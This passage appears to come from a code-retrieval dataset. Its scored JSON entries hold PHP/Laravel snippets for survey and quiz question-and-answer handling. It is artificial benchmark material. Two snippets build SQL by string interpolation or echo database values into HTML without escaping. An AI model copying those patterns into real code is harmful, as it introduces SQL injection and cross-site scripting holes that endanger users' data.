q.quId, s.subName, q.quName,s.subPicPath,s.subId\n FROM final_project_question AS q, final_project_subject AS s WHERE s.subId = q.subId\");\n}", "title": "" }, { "docid": "d64c7793e0b433f42109e7b885b64202", "score": "0.621293", "text": "function unique_text_answers(){\n global $db;\n $stmt = $db->prepare(\"SELECT a.answer, q.id, COUNT(*) as count FROM survey_answers AS a JOIN survey_questions AS q ON q.id = a.question_id WHERE q.type = 'text' GROUP BY a.answer, q.id ORDER BY COUNT(*) ASC LIMIT 3\");\n $stmt->execute();\n return $stmt->fetchAll(PDO::FETCH_ASSOC);\n }", "title": "" }, { "docid": "95611a0c083adb0a2dfaee3d39574066", "score": "0.6105713", "text": "public function getGroupedAnswersByQuestion($ID_Question)\n{ \n $handle = $this->conn->getPdo()->prepare(\"SELECT `description`, COUNT(`ID_answer`) AS `total` FROM blackbox_answers WHERE ID_Question=:a GROUP BY `description` ORDER BY `total` DESC\");\n $handle->bindValue(':a',$ID_Question);\n $handle->execute();\n $answersByQuestion=$handle->fetchAll();\n\n echo \"\n\t<table class='table table-striped table-hover'>\n <thead class='thead-dark'>\n\t\t<tr >\t\t\t\n\t\t\t<th>Answer</th>\n\t\t\t<th>Total</th>\t\t\t\n\t\t</tr>\n </thead><tbody>\";\n $sumTotal=0; \nforeach ($answersByQuestion as $index => $oneAnswer){ \n $sumTotal=$sumTotal+$oneAnswer['total'];\n\techo \"\n\t\t<tr class='warning'>\n\t\t\t<td> \".$oneAnswer['description'].\"</td>\n <td> \".$oneAnswer['total'].\"</td>\n</tr>\";\n}\necho \"<tr class='table-warning'><td>Total Answers:</td><td>\".$sumTotal.\"</tr>\";\necho \" </tbody>\n</table>\";\n\nreturn $answersByQuestion;\n\n}", "title": "" }, { "docid": "67fcb160da30e3cc45c84c9bbb9274f2", "score": "0.6087315", "text": "public function questions()\n {\n \treturn $this->belongsToMany('App\\Question')->withPivot('answer')->withTimestamps();\n }", "title": "" }, { "docid": "63d876642ad3e20e78e71924b577065f", "score": "0.602565", "text": "public function getDoctorAnsweredQuestions()\n {\n session_start();\n $doctorId = $_SESSION['doctor_id'];\n $data = array();\n\n $userQuestions = DB::select(\"SELECT * FROM questions WHERE question_id IN (SELECT DISTINCT ques_id FROM question_responses WHERE responder_type = 'doctor' AND responder_id = $doctorId)\");\n\n $userQuestions = (array) $userQuestions;\n\n foreach ($userQuestions as $value) {\n $temp_array['question_id'] = $value->question_id;\n $temp_array['patient_id'] = $value->patient_id;\n $temp_array['patient_username'] = User::find($value->patient_id)->username;\n $temp_array['question_cat_id'] = $value->question_cat_id;\n $temp_array['question_closed'] = $value->question_closed;\n $temp_array['question_answered'] = $value->question_answered;\n $temp_array['question_content'] = $value->question_content;\n $temp_array['question_code'] = $value->question_code;\n $temp_array['question_media_url'] = $value->question_media_url;\n $temp_array['created_at'] = $value->created_at;\n $questionCategoryDetails = QuestionCategory::find($value->question_cat_id);\n $temp_array['question_category'] = $questionCategoryDetails->category_name;\n\n if ($value->question_answered == 'no') {\n $temp_array['response_doctor'] = \"n/a\";\n } else {\n $getQuestionAnswerStatus = QuestionResponse::where('ques_id', $value->question_id)->get();\n\n $getDoctorAnsweringStatus = QuestionResponse::where('ques_id', $value->question_id)->where('responder_type', 'doctor')->first();\n if ($getDoctorAnsweringStatus) {\n $doctorDetails = Doctor::find($getDoctorAnsweringStatus['responder_id']);\n $temp_array['response_doctor'] = $doctorDetails->first_name.\" \".$doctorDetails->last_name;\n } else {\n $temp_array['response_doctor'] = \"n/a\";\n }\n }\n\n array_push($data, $temp_array);\n }\n\n $response_message = array('success' => true, 'message' => 'doctor questions got successfully', 'data' => $data );\n return response()->json($response_message);\n }", "title": "" }, { "docid": "b1871a7df54cbb2e4842913087fa53a5", "score": "0.6008862", "text": "function common_text_answers(){\n global $db;\n $stmt = $db->prepare(\"SELECT a.answer, q.id, COUNT(*) as count FROM survey_answers AS a JOIN survey_questions AS q ON q.id = a.question_id WHERE q.type = 'text' GROUP BY a.answer, q.id ORDER BY COUNT(*) DESC LIMIT 3\");\n $stmt->execute();\n return $stmt->fetchAll(PDO::FETCH_ASSOC);\n }", "title": "" }, { "docid": "2c42d5feb50f50d48576f2425728652a", "score": "0.59856087", "text": "public function answers()\n {\n return $this->belongsToMany(Answer::class, 'answer_questions')\n ->withPivot(['session_id'])\n ->withTimestamps();\n }", "title": "" }, { "docid": "4acb6c12e779e5560e8405ccd678e801", "score": "0.5964667", "text": "public function questions()\n {\n return $this->belongsToMany(\n Question::class,\n 'answer_question'\n )->withPivot('correct_answer')->withTimestamps();\n }", "title": "" }, { "docid": "3783094c756f8f609572629937680973", "score": "0.5930997", "text": "public function testQuerys()\n {\n $wip_ids = AnswerEvaluation::join('answers','answer_evaluations.answer_id','answers.ans_id')->select('answers.wip_id')->groupBy('answers.wip_id');\n $wip_ids =json_decode($wip_ids->get(),true);\n $wip_ids = Arr::flatten($wip_ids);\n $weight = Question::select('*');\n $weight = json_decode($weight->get(),true);\n $cats_storage =array();\n $cats_storage[0]='intelligent_weight';\n $cats_storage[1]='communication_weight';\n $cats_storage[2]='creative_weight';\n $mean_cats = array();\n $mean_cats[0]=0;\n $mean_cats[1]=0;\n $mean_cats[2]=0;\n $sum_cats= array();\n $sum_cats[0]=0;\n $sum_cats[1]=0;\n $sum_cats[2]=0;\n $sum_cats[3]=0;\n $sum_cats[4]=0;\n $sum_mean=0;\n for ($i=0; $i < sizeof($wip_ids); $i++) { \n $wip_se = ScoreEvaluation::select('*')->where('wip_id',$wip_ids[$i]);\n $wip_se= json_decode($wip_se->get(),true);\n if (!$wip_se) {\n //หา mean questions 5 อัน\n for ($j=0; $j < 5; $j++) { \n for ($k=0; $k <3 ; $k++) { \n $score = AnswerEvaluation::join('answers','answer_evaluations.answer_id','answers.ans_id')\n ->select('answer_evaluations.score')\n ->where('answer_evaluations.score_category',$cats_storage[$k])\n ->where('wip_id',$wip_ids[$i])->where('answers.question_id',$j+1);\n $score = Arr::flatten(json_decode($score->get(),true));\n\n for ($l=0; $l < sizeof($score); $l++) { \n $sum_mean +=$score[$l];\n }\n \n $sum_mean/=sizeof($score);\n $sum_mean*=$weight[$j][$cats_storage[$k]];\n $sum_cats[$j]+=$sum_mean;\n $sum_mean = 0;\n }\n $sum_cats[$j]/=100;\n }\n //หา mean cat 3 อัน\n for ($m=0; $m <3 ; $m++) { \n for ($n=0; $n < 5; $n++) { \n $scoreCats = AnswerEvaluation::join('answers','answer_evaluations.answer_id','answers.ans_id')\n ->select('answer_evaluations.score')\n ->where('answer_evaluations.score_category',$cats_storage[$m])\n ->where('wip_id',$wip_ids[$i])->where('answers.question_id',$n+1);\n $scoreCats = Arr::flatten(json_decode($scoreCats->get(),true));\n for ($o=0; $o < sizeof($scoreCats); $o++) { \n $sum_mean +=$scoreCats[$o];\n }\n $sum_mean/=sizeof($scoreCats);\n $sum_mean*=$weight[$n][$cats_storage[$m]];\n $mean_cats[$m]+=$sum_mean;\n $sum_mean = 0;\n }\n }\n for ($p=0; $p < sizeof($sum_cats); $p++) { \n $sum_mean +=$sum_cats[$p];\n }\n $sum_mean/=5;\n ScoreEvaluation::create([\n 'wip_id' => $wip_ids[$i],\n 'mean_cat_int' => $mean_cats[0],\n 'mean_cat_com' => $mean_cats[1],\n 'mean_cat_crt' => $mean_cats[2],\n 'mean_score_question_1' => $sum_cats[0],\n 'mean_score_question_2' => $sum_cats[1],\n 'mean_score_question_3' => $sum_cats[2],\n 'mean_score_question_4' => $sum_cats[3],\n 'mean_score_question_5' => $sum_cats[4],\n 'sum_mean_score' => $sum_mean\n ]);\n $mean_cats[0]=0;\n $mean_cats[1]=0;\n $mean_cats[2]=0;\n $sum_cats[0]=0;\n $sum_cats[1]=0;\n $sum_cats[2]=0;\n $sum_cats[3]=0;\n $sum_cats[4]=0;\n $sum_mean=0;\n \n \n \n }\n }\n return 'ok';\n }", "title": "" }, { "docid": "197d34136ad980ffd55d2899d91ced2f", "score": "0.5920046", "text": "public function index()\n {\n \n $q1a = DB::table('survey_sessions')->where('question1','1a')->count();\n $q1b = DB::table('survey_sessions')->where('question1','1b')->count();\n $q1c = DB::table('survey_sessions')->where('question1','1c')->count();\n $q1d = DB::table('survey_sessions')->where('question1','1d')->count();\n $q2a = DB::table('survey_sessions')->where('question2','2a')->count();\n $q2b = DB::table('survey_sessions')->where('question2','2b')->count();\n $q2c = DB::table('survey_sessions')->where('question2','2c')->count();\n $q2d = DB::table('survey_sessions')->where('question2','2d')->count();\n $q3a = DB::table('survey_sessions')->where('question3','3a')->count();\n $q3b = DB::table('survey_sessions')->where('question3','3b')->count();\n $q3c = DB::table('survey_sessions')->where('question3','3c')->count();\n $q3d = DB::table('survey_sessions')->where('question3','3d')->count();\n $q4a = DB::table('survey_sessions')->where('question4','4a')->count();\n $q4b = DB::table('survey_sessions')->where('question4','4b')->count();\n\n return view(\n 'Result',\n [ 'q1a' => $q1a, \n 'q1b' => $q1b,\n 'q1c' => $q1c,\n 'q1d' => $q1d,\n 'q2a' => $q2a, \n 'q2b' => $q2b,\n 'q2c' => $q2c,\n 'q2d' => $q2d,\n 'q3a' => $q3a, \n 'q3b' => $q3b,\n 'q3c' => $q3c,\n 'q3d' => $q3d,\n 'q4a' => $q4a, \n 'q4b' => $q4b\n ]);\n }", "title": "" }, { "docid": "887e25b2a961ecdb34a01e93ddd64bcb", "score": "0.59120566", "text": "public function findAllQuestions() {\n\t\t$sql = \"SELECT q.*, u.acronym, (\nSELECT COUNT(*) FROM answer AS a\nWHERE a.answerto = q.id\n) AS c\nFROM question AS q\nJOIN user AS u ON q.userid = u.id\nORDER BY q.created DESC\";\n\n\t\t$this->db->execute($sql);\n\t\treturn $this->db->fetchAll();\n\t}", "title": "" }, { "docid": "26d906860119d949dee01708123141b7", "score": "0.58556724", "text": "public function getAggregatedAnswersView($relevant_answers)\n\t{\n\t\treturn ''; //print_r($relevant_answers,true);\n\t}", "title": "" }, { "docid": "4b372c2a051a48e06707bfb4276bf76d", "score": "0.5846516", "text": "public function run()\n {\n Answer::truncate();\n\n Answer::insert([\n\n ['answer' => 'I\\'m going out with my friends ', 'question_id' => 1, 'personality_group_id' => 2],\n ['answer' => 'I spend time with my family', 'question_id' => 1, 'personality_group_id' => 1],\n ['answer' => 'I read books or watch tv', 'question_id' => 1, 'personality_group_id' => 1],\n ['answer' => 'I go for a walk with my pet/alone', 'question_id' => 1, 'personality_group_id' => 2],\n\n ['answer' => 'I\\'m glad that a group of people is focused on what I\\'m saying', 'question_id' => 2, 'personality_group_id' => 2],\n ['answer' => 'I feel stressed, I don\\'t like talking to a larger groups of people', 'question_id' => 2, 'personality_group_id' => 1],\n ['answer' => 'I feel a little nervous, but when I start talking, I\\'m fine', 'question_id' => 2, 'personality_group_id' => 1],\n\n ['answer' => 'I am happy to talk to that person about any subject', 'question_id' => 3, 'personality_group_id' => 2],\n ['answer' => 'I\\'m waiting for this person to start the conversation first', 'question_id' => 3, 'personality_group_id' => 1],\n ['answer' => 'I find a lot of topics to talk with a newly met person', 'question_id' => 3, 'personality_group_id' => 2],\n ['answer' => 'It\\'s hard for me to find a topic that keeps the conversation going', 'question_id' => 3, 'personality_group_id' => 1],\n\n ['answer' => 'I agree and I am happy to go to the party', 'question_id' => 4, 'personality_group_id' => 2],\n ['answer' => 'I say I can\\'t, \"I have other plans\"', 'question_id' => 4, 'personality_group_id' => 1],\n ['answer' => 'I refuse to come without giving a reason', 'question_id' => 4, 'personality_group_id' => 1],\n ['answer' => 'I agree and then I pretend that something came up', 'question_id' => 4, 'personality_group_id' => 2],\n\n ['answer' => 'I like subdued things that fit together', 'question_id' => 5, 'personality_group_id' => 1],\n ['answer' => 'I put on bright clothes', 'question_id' => 5, 'personality_group_id' => 2],\n ['answer' => 'I wear dark clothes and lots of accessories (watch, scarf etc.)', 'question_id' => 5, 'personality_group_id' => 2],\n ['answer' => 'I love colorful clothes and matching jewelry', 'question_id' => 5, 'personality_group_id' => 2],\n\n ['answer' => 'yes?', 'question_id' => 6, 'personality_group_id' => 1],\n ['answer' => 'no?', 'question_id' => 6, 'personality_group_id' => 2],\n\n ]);\n }", "title": "" }, { "docid": "9f0256acca48a29c6b7390eae5b70924", "score": "0.58155215", "text": "public function getAnswers() {\n return \\yii\\helpers\\ArrayHelper::map(\\common\\models\\Answer::find()->where(['question_id' => $this->id])->all(), 'id', 'title');\n }", "title": "" }, { "docid": "fa0b8914da2e9d8301be65a6da03ebc8", "score": "0.58043027", "text": "public function index()\n {\n $answer['age'] = Answer::where('category', 'age')->orderBy('id', 'asc')->get();\n $answer['nationality'] = Answer::where('category', 'nationality')->orderBy('id', 'asc')->get();\n $answer['marital_status'] = Answer::where('category', 'marital_status')->orderBy('id', 'asc')->get();\n $answer['dependents'] = Answer::where('category', 'dependents')->orderBy('id', 'asc')->get();\n $answer['residence_type'] = Answer::where('category', 'residence_type')->orderBy('id', 'asc')->get();\n $answer['occupation_length'] = Answer::where('category', 'occupation_length')->orderBy('id', 'asc')->get();\n $answer['occupation_type'] = Answer::where('category', 'occupation_type')->orderBy('id', 'asc')->get();\n $answer['mortage_value'] = Answer::where('category', 'mortage_value')->orderBy('id', 'asc')->get();\n $answer['mortage_status'] = Answer::where('category', 'mortage_status')->orderBy('id', 'asc')->get();\n $answer['open_credits_number'] = Answer::where('category', 'open_credits_number')->orderBy('id', 'asc')->get();\n $answer['credit_use_rate'] = Answer::where('category', 'credit_use_rate')->orderBy('id', 'asc')->get();\n $answer['credit_card_length'] = Answer::where('category', 'credit_card_length')->orderBy('id', 'asc')->get();\n $answer['loan_status'] = Answer::where('category', 'loan_status')->orderBy('id', 'asc')->get();\n $answer['income_expenditure_ratio'] = Answer::where('category', 'income_expenditure_ratio')->orderBy('id', 'asc')->get();\n $answer['job_title'] = Answer::where('category', 'job_title')->orderBy('id', 'asc')->get();\n\n return $answer;\n }", "title": "" }, { "docid": "e037a3c14509b9518915216d9368114f", "score": "0.5771948", "text": "public function queResponse()\n {\n return $this->belongsToMany('App\\Queans', 'response', 'userid', 'queid')\n ->withPivot('ans');\n }", "title": "" }, { "docid": "c9af9b911d4231f3632233e6e9d2d072", "score": "0.57638955", "text": "private function map_additional_answers( $additionals ){\n $map = collect([]);\n // ------------------------------------------------------------------\n if( $additionals && !$additionals->isEmpty()){\n $additionals->each( function( $category ) use( $map ){\n // ----------------------------------------------------------\n if( isset( $category->questions ) && !$category->questions->isEmpty()){\n $category->questions->each( function( $question ) use( $map ){\n // --------------------------------------------------\n $query = new \\stdClass;\n // --------------------------------------------------\n if( !empty( $question->id ) && !empty( $question->input_type )){\n $query->question = (object)[\n 'id' => $question->id,\n 'type' => $question->input_type\n ];\n }\n // --------------------------------------------------\n\n // --------------------------------------------------\n // If this question already has an answer\n // --------------------------------------------------\n if( !empty( $question->answer )){\n $answer = $question->answer;\n // ----------------------------------------------\n $query->id = $answer->id;\n $query->answer = $answer->answer;\n // ----------------------------------------------\n\n // ----------------------------------------------\n // If question is checkbox type (type 2)\n // Building the vue model\n // ----------------------------------------------\n if( 2 == $question->input_type && !empty( $question->options )){\n // ------------------------------------------\n $query->answer = collect([]);\n $answers = collect( $answer->answer );\n $options = collect( $question->options );\n // ------------------------------------------\n $options->each( function( $option ) use( $query, $answers ){\n $checked = false;\n if( $answers->contains( $option )) $checked = true;\n $query->answer->push( (object)[\n 'label' => $option, 'checked' => $checked\n ]);\n });\n // ------------------------------------------\n }\n }\n // --------------------------------------------------\n\n // --------------------------------------------------\n // Otherwise if it does not\n // --------------------------------------------------\n else {\n // ----------------------------------------------\n $query->id = null;\n $query->answer = '';\n // ----------------------------------------------\n\n // ----------------------------------------------\n // If question is checkbox type (type 2)\n // Building the vue model\n // ----------------------------------------------\n if( 2 == $question->input_type && !empty( $question->options )){\n // ------------------------------------------\n $query->answer = collect([]);\n $options = collect( $question->options );\n // ------------------------------------------\n $options->each( function( $option ) use( $query ){\n $query->answer->push( (object)[\n 'label' => $option, 'checked' => false\n ]);\n });\n }\n // ----------------------------------------------\n }\n // --------------------------------------------------\n\n // --------------------------------------------------\n // $map[ question.id ] = query\n $map->put( $question->id, $query );\n // --------------------------------------------------\n });\n }\n // ----------------------------------------------------------\n });\n };\n // ------------------------------------------------------------------\n return $map;\n // ------------------------------------------------------------------\n }", "title": "" }, { "docid": "a899e34fccc4fd901fe0dbf8d3f39462", "score": "0.574817", "text": "public function answers()\n {\n return $this->belongsToMany('App\\Nrna\\Models\\Answer');\n }", "title": "" }, { "docid": "2eccd78e302274284fbf0f41d5edde22", "score": "0.57460755", "text": "public function index()\n {\n $user = Auth::user();\n if($user){\n $answers = DB::table('survey_question_answer as sqa')\n ->join('users as u','sqa.user_id','=','u.id')\n ->join('survey as s','sqa.survey_id','=','s.id')\n ->join('questions as q','sqa.question_id','=','q.id')\n ->where('sqa.user_id','=',$user->id)\n ->select('s.description','sqa.id as id','q.title','sqa.answer')\n ->paginate($this->perPage);\n \n return view('user.survey1.answers', compact('answers')); \n }\n \n }", "title": "" }, { "docid": "f0437695d3e782eae761c5a429a337ad", "score": "0.5744518", "text": "public function studentresult(){\n\n \n $marks = DB::table('answers') ->join('eexams', 'eexams.id', '=', 'answers.eexam_id')\n ->where('student_id','=',auth()->user()->id)\n ->select('eexam_id', 'student_id', 'subject', DB::raw('sum(result) as result'))\n ->groupBy('student_id', 'eexam_id', 'subject')\n ->get();\n \n return view('backend.student.result',compact('marks'));\n }", "title": "" }, { "docid": "26ba683a31e492638ce462481899e8f8", "score": "0.5711564", "text": "public function questions(){\n return $this->belongsToMany('App\\Models\\Question','question_criterio','criterio_id','question_id')->withPivot('score');\n }", "title": "" }, { "docid": "07b8fa4497c698c4ebe1f5c352a12d30", "score": "0.5711457", "text": "private function listOfQuestionAndStats(){\n\n $headers = ['ID', 'Question',\"Last answer\"];\n $statusText = function($value){\n $text = \"Not answered\";\n if($value === 'C'){\n $text = \"Correct\";\n }else if($value === 'W'){\n $text = \"Incorrect\";\n }\n return $text;\n };\n $rows = [];\n foreach ($this->user->questions->fresh() as $question){\n $rows[] = [\n $question->id,\n $question->title,\n $statusText($question->last_answer)\n ];\n }\n return [$headers,$rows];\n }", "title": "" }, { "docid": "08cb4cab7277dacf7f0216c04fd7e90b", "score": "0.56932646", "text": "function getAssessorIntroductoryQuestions() {\n \n $sql = \" SELECT q.rank,q.q_id,q.value_field,q.field_name,q.option_field,q.question,pq.question as parent_question,pq.q_id as parent_id ,GROUP_CONCAT(CONCAT_WS('-',o.question_option,o.o_id) SEPARATOR '/') as options \"\n . \"FROM d_introductory_assessment_question q LEFT JOIN d_introductory_assessment_question pq ON q.parent_id = pq.q_id \"\n . \"LEFT JOIN h_intro_assess_que_option qo ON q.q_id = qo.q_id LEFT JOIN d_intro_assess_que_option o ON qo.o_id = o.o_id\"\n . \" GROUP BY q.q_id \";\n $res=$this->db->get_results($sql);\n return $res?$res:array();\n }", "title": "" }, { "docid": "1e567d80ccc2324f9c669a76a2ce6036", "score": "0.5662435", "text": "public function run()\n {\n DB::table('answer')->insert([\n [\n 'question_id' => '1',\n 'answer' => 'Hypertext Preprocessor',\n 'is_correct' => '1'\n ],\n\n [\n 'question_id' => '1',\n 'answer' => 'Personal Home Page',\n 'is_correct' => '0'\n ],\n \n [\n 'question_id' => '1',\n 'answer' => 'Personal Hypertext Preprocessor',\n 'is_correct' => '0'\n ],\n\n [\n 'question_id' => '2',\n 'answer' => 'shake',\n 'is_correct' => '0',\n ],\n\n [\n 'question_id' => '2',\n 'answer' => 'elephant',\n 'is_correct' => '1',\n ],\n\n [\n 'question_id' => '2',\n 'answer' => 'minion',\n 'is_correct' => '0',\n ],\n\n [\n 'question_id' => '3',\n 'answer' => '6',\n 'is_correct' => '0',\n ],\n\n [\n 'question_id' => '3',\n 'answer' => '8',\n 'is_correct' => '1',\n ],\n\n [\n 'question_id' => '3',\n 'answer' => '10',\n 'is_correct' => '0',\n ],\n\n [\n 'question_id' => '4',\n 'answer' => 'yes',\n 'is_correct' => '0',\n ],\n\n [\n 'question_id' => '4',\n 'answer' => 'no',\n 'is_correct' => '0',\n ], \n\n [\n 'question_id' => '4',\n 'answer' => 'not nesessary',\n 'is_correct' => '1',\n ],\n\n [\n 'question_id' => '5',\n 'answer' => '0, 1, 1, 2, 3, 5, 8, 13,..',\n 'is_correct' => '1',\n ],\n\n [\n 'question_id' => '5',\n 'answer' => '1, 2, 2, 4, 8, 32,..',\n 'is_correct' => '0',\n ],\n\n [\n 'question_id' => '5',\n 'answer' => '1, 3, 5, 7, 9, 11, 13,..',\n 'is_correct' => '0',\n ],\n\n [\n 'question_id' => '6',\n 'answer' => 'yes',\n 'is_correct' => '0',\n ],\n\n [\n 'question_id' => '6',\n 'answer' => 'no',\n 'is_correct' => '1',\n ],\n\n [\n 'question_id' => '6',\n 'answer' => 'maybe..',\n 'is_correct' => '0',\n ],\n\n [\n 'question_id' => '7',\n 'answer' => '103.5',\n 'is_correct' => '1',\n ],\n\n [\n 'question_id' => '7',\n 'answer' => '5*20.7',\n 'is_correct' => '0',\n ],\n\n [\n 'question_id' => '7',\n 'answer' => 'nothing',\n 'is_correct' => '0',\n ],\n\n [\n 'question_id' => '8',\n 'answer' => '103.5',\n 'is_correct' => '0',\n ],\n\n [\n 'question_id' => '8',\n 'answer' => '5*20.7',\n 'is_correct' => '1',\n ],\n\n [\n 'question_id' => '8',\n 'answer' => 'nothing',\n 'is_correct' => '0',\n ],\n\n [\n 'question_id' => '9',\n 'answer' => 'SELECT * FROM table_name',\n 'is_correct' => '1',\n ],\n\n [\n 'question_id' => '9',\n 'answer' => 'SELECT * FROM table',\n 'is_correct' => '0',\n ],\n\n [\n 'question_id' => '9',\n 'answer' => 'SELECT FROM table_name',\n 'is_correct' => '0',\n ],\n\n [\n 'question_id' => '10',\n 'answer' => 'ADD',\n 'is_correct' => '0',\n ],\n\n [\n 'question_id' => '10',\n 'answer' => 'INSERT INTO',\n 'is_correct' => '1',\n ],\n\n [\n 'question_id' => '10',\n 'answer' => 'SELECT',\n 'is_correct' => '0',\n ] \n ]);\n }", "title": "" }, { "docid": "c67477a68f4be11709b8fe73a8a5c6cd", "score": "0.5653866", "text": "public function run()\n {\n Answer::create([\n \"id\" => 1,\n \"title\" => \"Vuejs\",\n \"question_id\" => 1,\n ]);\n Answer::create([\n \"id\" => 2,\n \"title\" => \"Reactjs\",\n \"question_id\" => 1,\n ]);\n Answer::create([\n \"id\" => 3,\n \"title\" => \"Angularjs or Angular 2+\",\n \"question_id\" => 1,\n ]);\n Answer::create([\n \"id\" => 4,\n \"title\" => \"Retail Employees\",\n \"question_id\" => 2,\n ]);\n Answer::create([\n \"id\" => 5,\n \"title\" => \"Freelance Writers\",\n \"question_id\" => 2,\n ]);\n Answer::create([\n \"id\" => 6,\n \"title\" => \"Developers/Programmers\",\n \"question_id\" => 2,\n ]);\n Answer::create([\n \"id\" => 7,\n \"title\" => \"Mac OS\",\n \"question_id\" => 3,\n ]);\n Answer::create([\n \"id\" => 8,\n \"title\" => \"Linux\",\n \"question_id\" => 3,\n ]);\n Answer::create([\n \"id\" => 9,\n \"title\" => \"Windows\",\n \"question_id\" => 3,\n ]);\n Answer::create([\n \"id\" => 10,\n \"title\" => \"Eating Sweeets\",\n \"question_id\" => 4,\n ]);\n Answer::create([\n \"id\" => 11,\n \"title\" => \"Watch Movies\",\n \"question_id\" => 4,\n ]);\n Answer::create([\n \"id\" => 12,\n \"title\" => \"Exercise or any Pysical Activities\",\n \"question_id\" => 4,\n ]);\n Answer::create([\n \"id\" => 13,\n \"title\" => \"Sleep\",\n \"question_id\" => 4,\n ]);\n Answer::create([\n \"id\" => 14,\n \"title\" => \"Wordpress\",\n \"question_id\" => 5,\n ]);\n\n Answer::create([\n \"id\" => 15,\n \"title\" => \"Square space\",\n \"question_id\" => 5,\n ]);\n Answer::create([\n \"id\" => 16,\n \"title\" => \"Drupal\",\n \"question_id\" => 5,\n ]);\n Answer::create([\n \"id\" => 17,\n \"title\" => \"Jomla\",\n \"question_id\" => 5,\n ]);\n\n }", "title": "" }, { "docid": "883cad255b60205eb310c1198d2b2ead", "score": "0.5634105", "text": "public function answers()\n {\n return $this->hasMany('App\\Questionary')->orderBy('question_id');\n }", "title": "" }, { "docid": "bdb25b3f0623913cd16fcd8b48564c14", "score": "0.562825", "text": "public function getQuestionDetailsAll()\n {\n $res = $this->db->connect()\n ->select(\"Question.id AS qId, Question.title AS qTitle, Question.body AS qBody, Question.tags AS qTags, Question.created AS qCreated, User.id AS uId, User.gravatar AS uGravatar\")\n ->from(\"Question\")\n ->join(\"User\", \"Question.userid = User.id\")\n ->orderBy(\"Question.created DESC\")\n ->execute()\n ->fetchAll();\n\n return $res;\n }", "title": "" }, { "docid": "3e115ea6576e39d4403f1d590c7da938", "score": "0.5616357", "text": "public function index()\n {\n $user = Auth::user();\n $clients = $user->clients;\n\n $collection = collect([]);\n\n foreach ($clients as $client){\n $survey_ass = SurveyAssignment::where('uuid', $client->id)->get();\n if(!$survey_ass->isEmpty()){\n $collection->put($client->id, $survey_ass);\n\n }\n }\n\n\n $collectionAfterFiltered = collect([]);\n\n// if(sizeof($collection)>0){\n// foreach ($collection as $key=>$value){\n//\n// $col2 = $value->groupBy('survey_id');\n//\n// $collectionAfterFiltered->put($key, $col2);\n//\n//\n// }\n//\n// }\n return view('manage/therapy/survey_assignments/therapy_survey_assign_show')\n ->with('survey_assignments', $collection);\n\n\n\n\n// ->with('collection', $collectionAfterFiltered);\n\n\n //$survey_assignments = SurveyAssignment::all();\n\n }", "title": "" }, { "docid": "73ffd3692ee90637005eed25a5dbb506", "score": "0.5611976", "text": "function question_answers($type='result'){\n\t\t\n\t\t$this->db->select('*');\n\t\t$this->db->from('bcs_questions');\n\t\t$this->db->join('bcs_questions_school','bcs_questions_school.question_id = bcs_questions.id');\t\t\n\t\treturn $this->db->get()->$type();\n\t}", "title": "" }, { "docid": "c23e0948874ff50e51a51aa8df6b923e", "score": "0.5590576", "text": "function getOptionsByQuestionId($id)\n{\n return DB::query(\"SELECT * FROM final_project_answer WHERE quId = %i\", $id);\n}", "title": "" }, { "docid": "410f1bbd0eff40c5f5a64ba8179a45f2", "score": "0.5590269", "text": "public function run(){\n $user = Faq::create([\n 'added_by' => '1',\n 'question' => 'some question',\n 'answer' => 'some answer',\n ]);\n\n $user = Faq::create([\n 'added_by' => '1',\n 'question' => 'some question',\n 'answer' => 'some answer',\n ]);\n $user = Faq::create([\n 'added_by' => '1',\n 'question' => 'some question',\n 'answer' => 'some answer',\n ]);\n $user = Faq::create([\n 'added_by' => '2',\n 'question' => 'some question',\n 'answer' => 'some answer',\n ]);\n $user = Faq::create([\n 'added_by' => '2',\n 'question' => 'some question',\n 'answer' => 'some answer',\n ]);\n\n $user = Faq::create([\n 'added_by' => '2',\n 'question' => 'some question',\n 'answer' => 'some answer',\n ]);\n\n $user = Faq::create([\n 'added_by' => '2',\n 'question' => 'some question',\n 'answer' => 'some answer',\n ]);\n\n $user = Faq::create([\n 'added_by' => '3',\n 'question' => 'some question',\n 'answer' => 'some answer',\n ]);\n\n\n $user = Faq::create([\n 'added_by' => '3',\n 'question' => 'some question',\n 'answer' => 'some answer',\n ]);\n\n\n $user = Faq::create([\n 'added_by' => '3',\n 'question' => 'some question',\n 'answer' => 'some answer',\n ]);\n\n $user = Faq::create([\n 'added_by' => '3',\n 'question' => 'some question',\n 'answer' => 'some answer',\n ]);\n\n $user = Faq::create([\n 'added_by' => '4',\n 'question' => 'some question',\n 'answer' => 'some answer',\n ]);\n\n $user = Faq::create([\n 'added_by' => '4',\n 'question' => 'some question',\n 'answer' => 'some answer',\n ]);\n\n $user = Faq::create([\n 'added_by' => '5',\n 'question' => 'some question',\n 'answer' => 'some answer',\n ]);\n\n $user = Faq::create([\n 'added_by' => '5',\n 'question' => 'some question',\n 'answer' => 'some answer',\n ]);\n\n $user = Faq::create([\n 'added_by' => '6',\n 'question' => 'some question',\n 'answer' => 'some answer',\n ]);\n\n $user = Faq::create([\n 'added_by' => '7',\n 'question' => 'some question',\n 'answer' => 'some answer',\n ]);\n $user = Faq::create([\n 'added_by' => '8',\n 'question' => 'some question',\n 'answer' => 'some answer',\n ]);\n $user = Faq::create([\n 'added_by' => '9',\n 'question' => 'some question',\n 'answer' => 'some answer',\n ]);\n $user = Faq::create([\n 'added_by' => '10',\n 'question' => 'some question',\n 'answer' => 'some answer',\n ]);\n\n $user = Faq::create([\n 'added_by' => '11',\n 'question' => 'some question',\n 'answer' => 'some answer',\n ]);\n\n }", "title": "" }, { "docid": "347aded0aee78e6c4b386ad0e05c4da9", "score": "0.558461", "text": "public function getQuestionWithAnswers()\n {\n $question = Question::whereUserId(auth()->id())->randomUnasked()->first();\n $answers = $this->getAnswers($question->answer);\n \n $question->markAsked();\n\n return [\n 'id' => $question->id,\n 'question' => $question->question,\n 'answers' => $answers,\n ];\n }", "title": "" }, { "docid": "e714cf7f73cd4750e09957d249d8e8a2", "score": "0.556004", "text": "public function index()\n {\n // $marks = Mark::groupBy('student_id')\n // ->selectRaw('sum(marks) as sum, student_id')\n // ->get();\n // $marks = Mark::groupBy('student_id')->sum('marks')->get();\n // $marks = Mark::select('student_id','sum(marks)')->groupBy('student_id');\n // $marks = Mark::groupBy('student_id')->sum('marks');\n\n $marks = Mark::selectRaw('sum(marks) as sum')\n ->groupBy('student_id')->get();\n\n dd($marks);\n }", "title": "" }, { "docid": "0a0533b612e385a3f69778440ea97315", "score": "0.5555511", "text": "public function run()\n {\n $items = [\n ['question_id'=> 1,'answer_id'=>1],\n ['question_id'=> 1,'answer_id'=>2],\n ['question_id'=> 1,'answer_id'=>3],\n ['question_id'=> 